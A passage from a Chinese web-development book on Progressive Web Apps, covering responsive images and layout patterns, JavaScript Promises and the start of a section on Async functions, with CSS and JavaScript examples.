的设备上使用下面的样式 */ @media only screen and (min-width: 600px) { p { font-size: 1.125rem; /* 1.125rem = 16px * 1.125 = 18px */ } } 响应式图片 一图胜千言，图片占网页流量消耗的 60%，可见其在 Web 的重要性。在上文提到图片不要超出视口的宽度，给图片设置 max-width: 100%，这确实非常有作用，那还有没有其他需要我们注意的呢。 图片的质量 现代设备的 DPR (设备像素比）都很高，iPhone X 的 DPR 是 3，因此如果我们用 375px 宽的图片在 iPhone X 上显示，实际只能利用它三分之一的设备像素点，会让图片看起来很模糊，视觉体验较差。如果我们都用 3 倍分辨率的图片来显示，实际屏幕较小的设备无法完全显示如此高清晰度的图片，就会在显示时进行压缩，这对于实际屏幕比较小的设备来说会浪费较多带宽。 为此，图片质量也需要能响应式。 这里 sizes 和 srcset 很多开发者比较陌生。在兼容性不好的浏览器里，会继续使用默认 src 属性中的图片。 srcset 定义了几组图片和对应的尺寸，格式比较简单，主要的两个部分是图片地址和图片固有宽度，单位为像素，但是这里使用 w 代替 px。 sizes 定义了一组媒体查询条件，并且指名了如果满足媒体查询条件之后，使用特定尺寸的图片。 如果开发者书写了上面代码中的图片，浏览器会根据下面的顺序加载图片。 获取设备视口宽度 从上到下找到第一个为真的媒体查询 获取该条件对应的图片尺寸 加载 srcset 中最接近这个尺寸的图片并显示 所以，如果我们在视口宽度为 375px 的设备上，会采用最接近 440px 的图片，example-480w.jpg。 如果对 srcset 和 sizes 还想了解更多，可以访问 MDN 的文档《响应式图片》。 图片艺术方向 我们提到将图片的 max-width 设置为 100%，图片就会在手机屏幕上压缩到视口的宽度，如果这张图片实际上很大，图片中的内容就会看不清，特别是如果图片主要内容集中在中间，如人像，浏览效果会比较差。遇到这样的情况，最好的方式是在不同的屏幕尺寸下采用不同的图片，让主要内容保持在视口中间，如下图。 HTML 标准中有一个标签 ，允许我们在其中设置多个图片来源，就和 ， 标签一样。 标签的作用和上面在 中设置 sizes 和 srcset 一样，都能在不同的设备宽度下显示不同的图片，笔者更建议使用 实现此效果。 图片的其他注意事项 响应式布局在 PWA 中是非常重要的概念，在实现响应式的同时，还需要关注响应式图片是否会带来性能问题。在开发过程中，还需要注意下面几个问题。 对图片进行懒加载 对于小的简单的图片，可以使用矢量图或者字体，保证在不同尺寸设备下都很清晰 对于尺寸小的图片，可以使用 Data URI 的方式，将图片转成 base64 内联在 CSS 或者 HTML 中，避免请求，但这样同样无法利用 HTTP 缓存，因此一般只对小于 1.5K 的图片做处理 挑选恰当的图片格式，PNG，JPEG 等，可以在 Android 下使用 WebP 格式 对图片进行压缩和优化 采用 CSS 和 CSS 动画代替一些简单的图片和动态图，如加载中 GIF 图 响应式布局 利用相对单位、flexbox、媒体查询等技术，开发者能应付各种类型的页面和布局，为了方便开发者能够快速上手，下面介绍 5 种常见的响应式布局模式。这些模式最初由 Luke Wroblewski 总结并提出。 为了更好的理解这些响应式布局，笔者准备了 5 个例子。 # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter02/responsive-web-design 目录 $ cd chapter02/responsive-web-design # 安装 npm 依赖 $ npm install -g edp # 启动 chapter02 responsive-web-design 示例 $ edp ws start 启动完成之后，访问 http://localhost:8848/ 能看到 5 个不同的目录，如 mostly-fluid，点击目录里的 index.html 就能看到不同模式的效果，尝试拖动改变浏览器的大小吧。 第一种：大体流动（Mostly Fluid） 大体流动布局的主要特点是在大屏幕上，内容区域宽度是固定的，因此在多数设备上，主要布局结构并没有很大改变，如果屏幕宽度大于内容区域，就在内容左右留白。而在视窗宽度较窄时，会逐渐掉落呈堆放，如下图所示。 大体流动布局比较简单，往往只需要少量的媒体查询就可以实现，如下代码所示。 .box { width: 100%; height: 150px; } /* 设置各个区块的颜色 */ .b1 { background: #009; } .b2 { background: #06c; } .b3 { background: #39f; } .b4 { background: #6cf; } .b5 { background: #cff; } /* 在大于 450px 时，将 .b2, .b3 宽度设置为 50% */ @media screen and (min-width: 450px) { .b2, .b3 { width: 50%; } } /* 在大于 800px 时，将 .b1, .b2 宽度设置为 50%，让 .b3, .b4, .b5 平分一行 */ @media screen and (min-width: 800px) { .b1, .b2 { width: 50%; } .b3, .b4, .b5 { width: 33.333333%; } } /* 定义最大宽度为 980px */ @media screen and (min-width: 980px) { .container { max-width: 980px; margin: auto; } } ... 第二种：列掉落 （Column Drop） 列掉落，布局中的每列随着宽度变小而逐个掉落，在视口最小的时候，每个元素都纵向堆放。和大体流动布局不同点在于，列掉落布局不会设置最大宽度，如果视口足够大，列掉落布局也会填满整个页面。媒体查询的断点选择需要根据网页本身的内容来选择。 列掉落比大体流动布局要简单，代码如下。 /* 在大于 450px 时，将 .b1 和 .b2 放置在同一行，分别占据 30% 和 70% */ @media screen and (min-width: 450px) { .b1 { width: 30%; } .b2 { width: 70%; } } /* 在大于 800px 时，.b1, .b3 各占 20% 区域，.b2 在中间占 60% */ @media screen and (min-width: 800px) { .b1, .b3 { width: 20%; } .b2 { width: 60%; } } ... 第三种：布局移位（Layout Shifter） 布局移位是最灵活的布局方式，它不仅仅将元素按照从前到后，从上到下排列，有时还会改变元素的位置。 代码如下： /* 在大于 800px 时，将 .b1 和 .b4 放置在同一行，分别占据 20% 和 80% */ @media screen and (min-width: 800px) { .b1 { width: 20%; } .b4 { width: 80%; } } ... 第四种：微调（Tiny Tweaks） 微调，意思就是在视口发生变化时，对内容进行一些小的调整，比如调整字体、图片大小或者元素间距等。 .b1 { background: #39f; text-align: center; padding-top: 10%; font-size: 1em; } @media screen and (min-width: 450px) { .b1 { font-size: 2em; } } @media screen and (min-width: 800px) { .b1 { font-size: 4em; } } ... 字体大小 第五种：画布溢出（Off Canvas） 在画布溢出布局中，内容不是从上到下的，而是将不常用的内容，比如应用菜单和导航栏，折叠起来，留下一个打开的入口，只有当屏幕足够大的时候才显示。画布溢出布局很常见，不仅在 Web App 中，在 Native App 中使用更多。这样的布局一般都需要配合 JavaScript 使用。 在示例中，我们通过 transform: translate(-275px, 0) 将左侧侧边栏隐藏在视口外，点击菜单后，菜单栏会从左侧划出。在页面视口大于 800 时，将布局改为 flexbox 弹性布局，直接显示左侧菜单栏，代码如下。 nav { width: 275px; height: 100%; position: absolute; /* 将菜单栏隐藏起来 */ transform: translate(-275px, 0); transition: transform 0.3s ease-in-out; background: #39f; z-index: 2; } nav.open { transform: translate(0, 0); } /* 在视口大于 800px 时，将菜单栏直接显示出来 */ @media screen and (min-width: 800px) { nav { position: relative; transform: translate(0, 0); } body { display: flex; flex-flow: wrap; } main { width: auto; flex: 1; } } ... let mask = document.querySelector('#mask') let nav = document.querySelector('nav') let menu = document.querySelector('a') // 点击菜单，显示或隐藏菜单栏 menu.addEventListener('click', event => { nav.classList.toggle('open') mask.classList.toggle('open') }) // 点击遮罩，隐藏菜单栏 mask.addEventListener('click', event => { nav.classList.remove('open') mask.classList.remove('open') }) 以上就是比较常见的 5 种响应式布局模式，大多数情况下都需要多种模式同时使用。 总结 响应式布局从设计角度出发，借助视口设置、CSS 媒体查询等方法，使开发者可以更易于维护适用于不同尺寸屏幕的网页。在本节中，我们介绍了一些文字、图片以及布局方面常见的响应式设计最佳实践，开发者应用这些经验，可以更好的优化 PWA 在不同尺寸大小设备的用户体验。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter03.html\":{\"url\":\"chapter03.html\",\"title\":\"第3章 基础技术简介\",\"keywords\":\"\",\"body\":\"基础技术简介 PWA 是建立在现代前端技术和标准之上的，因此在介绍 PWA 特别是 Service Worker 相关的内容时，会频繁地使用一些方法和对象。它们有的不属于 PWA 的范畴，有的不一定要配合 Service Worker 使用，但它们都属于 PWA 的基础，对它们的学习将有助于后面章节理解，因此有必要花些篇幅进行介绍。 在本章内容当中，将首先介绍 ES6 标准给出的异步编程解决方案 Promise，它是 PWA 所有异步方案的基础，然后进一步介绍更直观的异步方案 Async 函数。在有了最新的异步编程概念之后，紧接着介绍如何使用 Fetch API 发送异步请求，并与 XMLHttpRequest 进行比对。最后介绍了对资源进行缓存的方法，包括用于缓存资源请求响应的 Cache API 和本地非关系型数据库 IndexedDB，为后面利用 Service Worker 实现离线缓存功能提供了基础。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter03/1-promise.html\":{\"url\":\"chapter03/1-promise.html\",\"title\":\"3.1 Promise\",\"keywords\":\"\",\"body\":\"Promise 在深入介绍 Service Worker 之前，先来了解一下 Promise API。因为 Service Worker 的所有的异步接口内部都采用 Promise 来实现，因此学习了 Promise 讲能够有助于对 Service Worker 的理解。此外，本文还介绍了 Promise 的可靠性，链式调用的原理，并行执行的原理等较为深入的内容，感兴趣的读者也可以通过本文加深对 Promise 的理解。 什么是 Promise Promise 是 ES6 引入的一种异步编程的解决方案，通过 Promise 对象来提供统一的异步状态管理方法。 过去我们通常使用注册异步回调函数的形式来进行异步编程，这里的异步回调实际上是具体的异步函数与开发者的接口约定，并不存在任何的标准，因此回调的注册形式、触发方式、异步状态管理等等都得不到统一且稳定的保证。同时这种异步回调的写法不利于状态管理，在处理多个异步过程的时候容易走进回调地狱，因此 JavaScript 异步编程需要一个统一且可靠的方案来进行异步状态管理，因此 Promise 应运而生。事实上 Promise 是社区推动的产物，在早期就出现了比如 $.Deferred、Bluebird 等库用于解决异步状态管理和回调地狱的问题，并最终促进并推动了 Promise 写进了 ES6 规范当中。 Promise 基本用法 一般在使用 Promise 对象的时候，首先需要对其进行实例化： let promise = new Promise((resolve, reject) => { if (/* 操作成功 */) { resolve(value) } else { reject(error) } }) 其中实例化的 promise 对象为异步状态的管理容器，resolve() 和 reject() 则是用于控制 promise 状态的方法。 Promise 具有三种状态： 'pending'：初始状态，代表异步过程仍在进行中，尚未判定成功或者失败； 'fulfilled'：操作成功。通过调用 resolve() 方法，promise 状态将由 'pending' 变更为 'fulfilled'； 'rejected'：操作失败。通过调用 reject() 方法，promise 状态将变更为 'rejected'。 在调用 resolve() 或 reject() 方法的时候可以传入任意值，比如 resolve('操作成功')、reject(Error('操作失败')) 等等，这个值会作为监听状态变更的回调函数的参数透传出去。 Promise 提供了 .then(onFulfilled, onRejected) 和 .catch(onRejected) 等原型链方法用于注册状态变更所触发的回调函数。其中 .catch(onRejected) 等价于 .then(null, onRejected)，因此为了行文方便，在没有特殊说明的情况下，后续所提到的 .then() 方法均用于指代 .then() 或 .catch()。 下面的示例演示了 Promise 的基本使用方式。在这个例子中创建了一个 Promise 对象，并且利用 setTimeout() 方法在 1 秒后触发 Promise 的状态变更，状态变更后便会触发 onFulfilled 回调函数并在控制台打印出 Promise 的返回值。 let promise = new Promise(resolve => { setTimeout(() => { resolve('执行完成！') }, 1000) }) // 1 秒后打印“执行完成” promise.then(value => { console.log(value) }) // 此时不会执行 onRejected 回调 promise.catch(error => { console.log(error) }) 同理，1 秒后将 Promise 状态变更为失败则是调用 reject() 方法，可采用 .then() 和 .catch() 方法进行 onRejected 回调的注册： let promise = new Promise((resolve, reject) => { setTimeout(() => { reject('操作失败！') }, 1000) }) promise.then( // 不会进入 onFulfilled 回调 value => { console.log(value) }, // 1 秒后打印“操作失败！[1]” error => { console.log(error + '[1]') } ) // 1 秒后打印“操作失败！[2]” promise.catch(error => { console.log(error + '[2]') }) 当回调函数执行出错时，promise 的状态同样会变更为 'rejected'： let promise = new Promise((resolve, reject) => { throw Error('操作失败！') }) promise.catch(error => { // 打印“操作失败！” console.log(error.message) }) 在一些复杂的异步场景当中，我们还可以使用变量将 resolve 和 reject 缓存下来，等到需要变更 promise 状态的时候再去触发它们，这种情形在配合上各种闭包写法，可以实现很多神奇的功能： let resolve let reject let promise = new Promise((res, rej) => { resolve = res reject = rej }) promise.then(value => { console.log(value) }) /* 一些神仙操作 */ if (/* 异步操作成功 */) { resolve(value) } else { reject(error) } Promise 提供了 Promise.resolve(value) 和 Promise.reject(error) 来快速获得一个确定状态以及返回值的 Promise 对象，在一些特定的使用场景下，这两个函数能够起到简化代码的作用。 let p1 = Promise.resolve(12345) // 等价于 let p1 = new Promise(resolve => { resolve(12345) }) let p2 = Promise.reject(Error('出错了')) // 等价于 let p2 = new Promise((resolve, reject) => { reject(Error('出错了')) }) Promise 的可靠性 Promise 作为异步状态的管理方案，首先要解决的是状态管理的可靠性问题，这里包括操作的可靠性和状态的可靠性两个方面，Promise 通过以下特点来依次解决这些可靠性问题。 统一的格式 Promise 对象统一了异步状态管理的格式，经过 Promise 包装的异步过程将具有统一的状态变更方式，统一的 API 以及统一的回调函数格式。这样就再也不需要为过去不同形式的回调函数所困扰。 我们可以做个对比，在过去采用回调函数的机制进行异步编程时，写法五花八门： // ajax 风格的回调写法 run({ success (value) { console.log('执行成功！') }, error (error) { console.log('执行失败！') } }) // nodejs 风格的回调写法 run((error, result) => { if (error) { console.log('执行失败！') } else { console.log('执行成功！') } }) // 事件监听风格的回调写法 run.onsuccess = (result) => { console.log('执行成功！') } run.onfail = (error) => { console.log('执行失败！') } run() 而 Promise 只有一种写法，完成了格式上的统一，这也为下一节将要介绍的 Promise 链式调用提供基础： let promise = run() promise.then(result => { console.log('执行成功！') }) promise.catch(result => { console.log('执行失败！') }) Promise 状态不受外部影响 Promise 只能通过 resolve() 和 reject() 方法控制 Promise 的状态，这个状态无法被外部直接访问，也没有提供任何方法从外部修改状态，这就保证了 Promise 状态不受外部影响。 Promise 状态具有确定性 Promise 对象一旦从初始状态（pending）变更为执行成功（fulfilled）或者执行失败（rejected），那么这个状态就被完全确定下来了，不会被后续的任何操作所影响，即便在此后多次调用 resolve() 或 reject()，这个 Promise 对象的状态也将永远是这个初次变更时的状态。同时，初次调用 resolve 或者 reject 所传入的参数也将会固定下来。 let promise = new Promise((resolve, reject) => { // 初次触发状态变更为 fulfilled, // 同时记录返回值为 1 并触发 onFulfilled 回调函数 resolve(1) // 后续的操作都不会影响状态， // 也不会覆盖掉返回值， // 也不会多次触发 onFulfilled 回调 reject(2) resolve(3) reject(4) }) // 打印 1 promise.then(value => { console.log(value) }) // 不会进入该 onRejected 回调 promise.catch(error => { console.log(error) }) Promise 的这一特性确保了异步过程最终状态的确定性，不用担心这个状态在后续的任何时候发生变更。 Promise 回调函数是一次性的 由于 Promise 对象上注册的回调函数只会至多触发一次，这个特点规避了过去基于基于回调函数的异步编程当中回调函数执行次数不受控制的问题。在 Promise 的这套机制下，希望触发几次回调，就注册几个回调函数即可。 // 假设异步函数的实现机制如下，会存在多次调用 callback 的情况 function run (callback) { setInterval(callback, 1000) } // 采用 Promise 进行包装，就能够避免这一问题 let promise = new Promise(resolve => { run(resolve) }) // 只会触发一次 promise.then(() => { console.log('执行完成！') }) Promise 不存在回调过早问题 由于 Promise 的状态具有确定性，一旦固定下来后便不会发生任何更改，因此在任何时候注册回调函数都可以监听到 Promise 的状态。如果回调函数在状态变更前注册，则会等待状态变更时触发；当注册时状态已经确定下来，那么 Promise 会立即调用这个函数并传入相应的返回值。这就解决了过去回调函数机制可能存在的回调过早问题（即事件在回调注册前触发导致回调监听失效），在 Promise 机制的保证下，这种问题不会发生。 下面举个例子演示后注册的 onFulfilled 回调获取返回值的情况： let promise = new Promise((resolve, reject) => { // 1 秒时触发状态变更为 fulfilled setTimeout(() => { resolve('操作成功！') }, 1000) }) // 0 秒时注册 onFulfilled promise.then(value => { console.log(value + '[1]') }) // 2 秒时注册 onFulfilled setTimeout(() => { promise.then(value => { console.log(value + '[2]') }) }, 2000) 这段代码的控制台输出结果为： # (...1s) 操作成功！[1] # (...2s) 操作成功！[2] 可以看到，第 0 秒注册的回调函数在第 1 秒 promise 对象状态变更的时候触发，同时第 2 秒注册的的回调函数会立即触发并成功获得返回值。 这一特性确保了在任何时候注册 promise 的回调函数都不会错过异步返回的结果，这个点在回调函数的年代很难被保证的。 Promise 的回调函数之间不会相互影响 同一个 Promise 上注册的回调函数彼此相互隔离，因此个别回调函数执行出错并不会影响到其他回调函数的正常执行。 let promise = new Promise(resolve => { setTimeout(() => { resolve('操作成功！') }, 1000) }) // 1 秒后执行回调并抛错 promise.then(value => { throw Error('出错了') }) // 永远不会进到 onRejected 回调中 // 因为onFulfilled 执行出错不会影响 promise 的状态 promise.catch(error => { console.log(error) }) // 1 秒后打印“操作成功！” promise.then(value => { console.log(value) }) Promise 回调函数执行的时序是确定的 首先举个例子来说明问题。假设目前存在一个函数 run()，它可以传入回调函数作为参数，那么相应的代码如下所示： console.log('a') run(() => { console.log('b') }) console.log('c') 在不知道 run 函数的内部实现之前，我们完全无法预测这段代码的执行结果。比如以下这两种实现方式，其打印的结果是完全不一样的： function run (callback) { callback() } // 打印 a b c /*****/ function run (callback) { setTimeout(callback) } // 打印 a c b 但如果 run 函数通过 Promise 的方式来实现，并且回调函数放到 .then 方法当中执行，那么我们就可以很明显地知道打印结果一定是“a c b”： console.log('a') run().then(() => { console.log('b') }) console.log('c') // 打印 a c b 这里涉及到 microtask、JavaScript 事件循环机制相关 的概念，感兴趣的同学可以搜索相应关键字进行深入了解。 小节 总的来说，Promise 通过一系列特性解决了过去异步编程当中存在的可靠性问题，使得我们能够以一种更为简单而规整的方式去获取和管理异步状态。 Promise 的串行执行与链式调用 在开篇 Promise 的演示当中一个最为亮眼的特点就是，通过一连串的 .then() 链式调用来实现多个异步方法的顺序执行问题： run1() .then(run2) .then(run3) .then(run4) .catch(error => { console.log('执行出错') }) 那么接下来我们将从 .then() 出发，一步一步地弄明白其中的 Promise 传递过程，并最终理解 Promise 的链式调用机制。 Promise.prototype.then .then(onFulfilled, onRejected) 是 Promise 的原型链方法，用于注册 Promise 对象状态变更时的回调函数。它接受两个回调函数作为参数，分别在 Promise 变更为不同状态时触发，其中 onRejected 可以缺省。 promise.then( result => { console.log('执行成功！') }, error => { console.log('执行失败！') } ) .then() 方法会创建并返回一个新的 Promise 对象（用 p2 指代，当前监听的 Promise 对象用 p1 指代），用于表征回调函数的执行情况。这个过程满足如下规则： p1 的状态只决定了何时执行回调以及执行那种类型的回调，并不会影响到 p2 状态； p2 的初始状态为 'pending'，当回调函数执行成功时状态变更为 'fulfilled'，如果回调执行过程抛出异常则变更为 'rejected'； 回调函数的返回值 value 将作为 p2 触发状态变更时 resolve(value) 的参数将其传递下去。 这里存在一个有意思的地方，由于回调函数可以返回任何的结果，因此返回一个 Promise 对象也是可行的。我们在这里用 p3 来指代这个 Promise 对象，在这种情况下首先明确 p2 与 p3 两个不同的 Promise 对象，但是 p2 与 p3 的状态是一致的，这里的“一致”包括最终的状态、状态触发的时机以及返回值的一致性。我们来举例说明这个过程： let p1 = new Promise(resolve => { resolve('[p1]') }) let p2 = new Promise(resolve => { resolve(p1) }) // 打印 false console.log(p1 === p2) // 打印 “[p1]” p2.then(value => { console.log(value) }) 当 p1 需要调用的回调函数不存在时，则会调用 p2 的 resolve(p1) 方法，将这个状态持续传递下去； // 产生一个 rejected 状态的 Promise 对象 let p1 = new Promise((resolve, reject) => { reject('[p1]') }) // 当前注册的 onFulfilled 回调不会触发 // 同时 onRejected 回调并未注册，因此 p1 的状态会继续向下传递： let p2 = p1.then(value => { console.log(value) }) // 打印 '[p1]' p2.catch(error => { console.log(error) }) 以上这些就给异步状态提供了可传递性，为 Promise 的链式调用提供了状态传递的基础。 下面通过一些例子来说明 .then() 方法在不同情况下的执行结果。 1. 正常顺序执行 // 获取初始 promise 对象 let promise = new Promise(resolve => { setTimeout(() => { resolve('执行成功！') }, 1000) }) // onFulfilled 回调执行完成 // 因此 p1 状态变更为 'fulfilled' let p1 = promise.then(result => { return result + '[1]' }) // 1 秒后打印“执行成功！[1]” let p2 = p1.then(result => { console.log(result) }) 2. 错误处理 // 获取初始 promise 对象 let promise = new Promise(resolve => { // 1 秒后触发执行失败 setTimeout(() => { reject('执行失败！') }, 1000) }) // 1 秒后打印“执行失败” // 同时由于 onRejected 回调执行完成 // p1 状态变更为 'fulfilled' let p1 = promise.catch(error => { console.log(error) }) // 打印 undefined，因为 p1 注册的回调没有任何返回 let p2 = p1.then(value => { console.log(value) }) 3. 执行回调时抛出异常 // 获取初始 promise 对象 let promise = new Promise(resolve => { // 1 秒后触发执行成功 setTimeout(() => { resolve('执行成功！') }, 1000) }) // 1 秒后执行回调并抛出异常 // 此时 p1 状态变更为 'rejected' let p1 = promise.then(value => { throw Error('执行异常！') }) // 打印“执行异常！”并返回字符串 // 由于该回调执行完成因此 p2 状态变更为 'fulfilled' let p2 = p1.catch(error => { console.log(error.message) return '恢复正常！' }) // 打印“恢复正常！” // 同时 p3 状态变更为 'fulfilled' let p3 = p2.then(value => { console.log(value) }) 4. 回调函数返回 Promise 对象 // 初始 Promise 对象，2 秒后执行成功并返回 '[p1]' let p1 = new Promise(resolve => { setTimeout(() => { resolve('[p1]') }, 2000) }) let p2 = p1.then(result => { return new Promise(resolve => { setTimeout(() => { resolve('[p3]') }, 1000) }) }) // 3 秒后打印 '[p3]' p2.then(result => { console.log(result) }) 通过这个机制就实现了多个异步过程的串行执行，只需要将所有的异步过程统一使用 Promise 进行包裹，并且将下一个异步过程的 Promise 对象作为上一个异步过程 Promise 对象的 onFulfilled 回调函数的返回值即可。 Promise 的链式调用 通过前面的举例可以看到 .then() 方法是 Promise 对象的原型链方法，并且其返回值同样也是个 Promise 对象，因此只要把前面例子中一些无关紧要的中间变量去除掉，就实现 Promise 的链式调用了。 new Promise(resolve => { setTimeout(() => { resolve('执行成功！') }, 1000) }) .then(result => { console.log('步骤 [1]') return new Promise((resolve, reject) => { setTimeout(() => { reject(Error('执行异常')) }, 1000) }) }) .catch(error => { console.log(error.message) return '恢复正常' }) .then(result => { console.log(result) }) 链式调用的好处就是，可以非常直观地将多个需要按顺序执行的异步过程以一种自上而下的线性组合方式实现，在降低编码难度的同时，也增加了代码的可读性。 同时基于注册在同一 Promise 对象的回调函数彼此不相干扰的特性，我们可以在任何需要的地方进行链分叉。在下面的例子当中，假设对于初始 Promise 对象的不同状态将采取两种完全不一样的异步操作的时候，就可以这么实现： let p1 = new Promise((resolve, reject) => { if (Math.random() > 0.5) { resolve() } else { reject() } }) promise.then(run1) .then(run2) .then(run3) // ... promise.catch(run4) .then(run5) .then(run6) // ... promise.then(run7) .then(run8) // ... Promise 并行执行与管理 在 JavaScript 当中，异步任务本身就是并行执行的。前面所提到的基于 Promise 的异步任务串行执行，本质上是通过 .then() 方法去控制上一个异步任务完成之后再触发下一个异步任务的执行，所以如果要改造成并行执行，只需要同步地创建这些异步任务，并对它们的 Promise 对象进行相应的管理即可。 下面的例子展示了并行获取异步数据 x 和 y，并且在 x 和 y 全部获取之后输入它们的相加结果，其中 getX() 和 getY() 分别是 x 和 y 的异步获取方法，getXAndY() 用于同步返回 x 和 y 的结果： function getX () { return new Promise(resolve => { setTimeout(() => { resolve(1) }, 1000) }) } function getY () { return new Promise(resolve => { setTimeout(() => { resolve(10) }, 2000) }) } function getXAndY([promiseX, promiseY]) { let results = [] return promiseX .then(x => { results.push(x) return promiseY }) .then(y => { result.push(y) return results }) } getXAndY([ getX(), getY() ]) .then(results => { console.log(x + y) }) 执行结果如下： # (...2s) 11 可以看到 2s 后控制台输出了结果 11，说明 getX() 和 getY() 是并行执行的，并且在两个 Promise 状态全部成功之后，再最终返回两者的相加结果。 这里的 getXAndY() 就属于一种并行状态管理的方案。事实上 Promise 已经提供了 Promise.all() 方法来实现同样的功能。因此上述代码可修改为使用 Promise.all() 的形式： Promise.all([ getX(), getY() ]) .then(results => { console.log(x + y) }) 除了 Promise.all()，Promise 还提供了 Promise.race() 方法，用于获取第一个发生状态变更的 Promise 对象： Promise.race([ getX(), getY() ]) .then(value => { // 打印“1”，因为 x 的结果最先返回 console.log(value) }) Promise.race([ getX(), new Promise((resolve, reject) => { reject('error') }) ]) // 不会进入 onFulfilled .then(value => { console.log(value) }) // 打印“error” // 因为这个 Promise 最先返回 .catch(error => { console.log(error) }) 假如 Promise.all() 和 Promise.race() 都无法满足应用场景，我们也可以基于 Promise 的原理与特性，自行开发相应的并行执行管理方案，在这里就不做赘述了。 总结 这篇文章介绍了 Promise 基本用法，介绍了 Promise 对象所具有的特性如何解决异步状态的可靠性问题，最后介绍了基于 Promise 的串行和并行执行的实现原理。Promise 是前端异步编程的基础，随着前端生态的不断完善，网站功能的前后端交互将会变得越来越复杂，Promise 也将会在各种复杂的异步编程当中发挥着越来越重要的作用。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter03/2-async-function.html\":{\"url\":\"chapter03/2-async-function.html\",\"title\":\"3.2 Async 函数\",\"keywords\":\"\",\"body\":\"Async 函数 上一节介绍了 Promise 对象，我们可以很方便地利用 Promise 将过去基于回调函数的异步过程改造成基于链式调用实现，这样更符合我们线性的思维习惯。但实践过程中发现，这种链式调用的异步方案仍然不够直观，我们更希望采用类似于同步函数的书写方式来实现异步。因此在 ES2017 标准中引入了 Async 函数（Async Functions）用于进一步简化异步编程。 需要注意的是，由于 Async 函数语法比较新，目前只在最新版的浏览器上得到了支持，因此在项目中如果使用了 Async 函数，可能需要准备 Babel 等代码编译工具，将 Async 函数语法转换成 ES5 语法实现。 首先我们通过一个简单的例子来演示 Async 函数的作用。 在这之前首先准备一个异步函数 sleep()，其作用是将 setTimeout 方法用 Promise 对象进行包装： function sleep (time) { return new Promise(function (resolve) { setTimeout(resolve, time) }) } 通过上一节的学习我们知道可以通过链式调用 Promise.then 方法来实现异步过程。比如下面的例子当中，在执行 main() 1 秒之后将在控制台打印出“结束”的文案的实现如下所示： function main () { console.log('开始：' + new Date()) return sleep(1000) .then(() => { console.log('结束：' + new Date()) }) } 接下来改用 Async 函数来实现同样功能的函数： async function main () { console.log('开始：' + new Date()) await sleep(1000) console.log('结束：' + new Date()) } 可以看到，通过使用 async 和 await 修饰符改写之后的 main() 就不再需要书写复杂的 Promise 链式调用了，同时 Async 函数的语法也更为接近同步函数，无论是书写体验还是阅读体验都得到了较大的提升。 语法说明 Async 函数定义 Async 函数需要通过 async 修饰符进行定义，下面所举例的定义方式都是合法的： // 普通函数 async function foo (/* 参数 */) {/* 函数体 */} // 匿名函数 const foo = async function () {} // 箭头函数 const foo = async () => {} // 对象方法简写 const obj = { async foo () {} } // 函数作为参数 list.map(async () => {}) Async 函数会将函数体的所有执行结果通过一个隐式的 Promise 对象返回： async function foo () {} // 等价于 function foo () { return new Promise(resolve => resolve()) } async function foo () { return 'Hello World' } // 等价于 function foo () { return new Promise(resolve => resolve('Hello World')) } async function foo () { let promise = new Promise(resolve => resolve('Hello World')) return promise } // 等价于 function foo () { let promise = new Promise(resolve => resolve('Hello World')) return new Promise(resolve => resolve(promise)) } Async 函数错误处理 假如 Async 函数的函数体在执行过程中存在未捕获的错误，那么返回的 Promise 对象将会通过 reject 方法将异常值传递下去： async function foo () { throw Error('出错了') } // 等价于 function foo () { return new Promise((resolve, reject) => reject(Error('出错了'))) } 假如 Async 函数返回了异步的错误，也就是返回的 Promise 对象状态变更为 rejected， async function foo () { return Promise.reject('出错了') } // 等价于 function foo () { return new Promise(resolve => resolve( Promise.reject('出错了') )) } 这样一来都可以通过链式调用来捕获异常： foo().then( () => {}, e => { // 打印 '出错了' console.log(e) } ) // 或 foo().catch(e => { // 打印 '出错了' console.log(e) }) await 表达式定义 Async 函数的函数体中可能存在 await 表达式。await 表达式非常简单，只需要在 Promise 对象前增加 await 关键字即可，同时 await 表达式的返回值就是 Promise 通过 resolve() 所返回的结果： async function main () { // sleep(1000) 返回 Promise 对象，并在 1s 后 resolve await sleep(1000) // val1 === 'Hello World' let val1 = await Promise.resolve('Hello World') // 等待 1s 后对 val2 进行赋值 // val2 === 'Hello World' let val2 = await sleep(1000).then(() => 'Hello World') } await 表达式可以作为 Async 函数的返回结果： async function main () { return await sleep(1000).then(() => 'Hello World') } main().then(result => { // 打印 Hello World console.log(result) }) 当 await 关键字后面跟的不是 Promise 对象，会自动将其转换为 Promise 对象的返回结果： // 以下代码从 Async 函数体内节选 let val = await 'Hello World' // 等价于 let val = await Promise.resolve('Hello World') 当 Async 函数执行到 await 表达式的时候会暂停执行，等待 await 表达式的 Promise 对象状态发生变更之后，再去执行后续的步骤。 await 表达式错误用法 需要强调的是，await 表达式只能在 Async 函数中使用，如果在这个范围之外使用，程序将会报语法错误（SynaxError）。下面的例子举例了一些常见的错误用法： // 错误，await 表达式必须在 Async 函数中执行 await sleep(1000) function foo () { // 错误，foo 不是 Async 函数 await sleep(1000) } async function main () { const foo = () => { // 错误，因为该匿名函数不是 Async 函数 await sleep(1000) } } async function bar () { let intervals = [1000, 1000, 2000] intervals.forEach(interval => { // 错误，因为该匿名函数不是 Async 函数 await sleep(1000) }) } await 表达式异常捕获 await 关键字后面跟的 Promise 对象可能会执行 reject，这时 await 表达式就会抛出异常，异常值就是 reject 方法所回传的值。我们可以通过 try/catch 捕获这个异常并进行处理： async function foo () { try { await Promise.reject('发生错误') } catch (e) { // 打印 '发生错误' console.log(e) } } 其效果与直接对 Promise 对象的异常进行捕获是等价的： async function foo () { await Promise.reject('发生错误') // 打印 '发生错误' .catch(e => console.log(e)) } 如果不对 await 表达式的抛错进行捕获处理，那么这个错误会继续向外传递，并最终以 Promise.reject 的方式将错误抛到 Async 函数外部： async function foo () { await Promise.reject('发生错误') } // 打印 '发生错误' foo().catch(e => console.log(e)) Async 